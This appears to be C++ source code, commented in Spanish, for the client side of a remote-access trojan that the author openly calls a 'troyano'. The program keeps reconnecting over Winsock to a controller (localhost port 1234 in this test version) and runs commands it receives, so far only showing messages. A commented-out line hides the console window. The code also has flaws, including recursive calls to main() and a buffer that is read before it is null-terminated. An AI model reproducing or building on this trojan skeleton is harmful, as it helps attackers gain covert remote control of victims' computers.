#include #include #include #include "Módulos/funVarias.h" #include "Módulos/mensajes.h" #pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock void main(void) { //ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la consola y poner el programa como proceso. Por ahora la dejamos asi. WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD SOCKET sock; struct hostent *host; struct sockaddr_in direc; int conex; char Buffer[1024]; int len; //Inicializamos WSAStartup(MAKEWORD(2,2),&wsa); //Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para hacer las pruevas host=gethostbyname("localhost"); //localhost = 127.0.0.1 ;P //creamos el socket sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (sock==-1) { //Si se produce un error al crear el socket main(); //Llamamos de nuevo a la función principal para seguir intentandolo } //Definimos la dirección a conectar que hemos recibido desde el gethostbyname //y decimos que el puerto al que deberá conectar direc.sin_family=AF_INET; direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el usuario cuando hagamos el server edit direc.sin_addr = *((struct in_addr *)host->h_addr); memset(direc.sin_zero,0,8); //Intentamos establecer la conexión hasta que lo logremos conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); while (conex==-1) { //Esto es lo que hará si no se puede conetar: Sleep(100); //Hacemos q el programa se detenga un poco, cuando se termine el troyano conviene subir este intervalo //Por ahora lo dejamos asi para hacer mas comodas las pruevas conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos establecer la conexión de nuevo hasta que lo logremos. } len=send(sock,"hola",4,0); //Como somos muy educados saludamos xDD el 4 despues del hola indica el nº de //caracteres a enviar while (len!=0) //Mientras que permanezcamoos conectados { len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie std::string sBuffer(Buffer); if (len>0) //Si seguimos conectados... { Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena if (Split(sBuffer, '|', 0) == "mensj") { //Llamamos a la funcion q muestra los mensajes mostrarMsj(Split(sBuffer, '|', 1),Split(sBuffer, '|', 2), Split(sBuffer, '|', 3)); } } } main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando conectarse }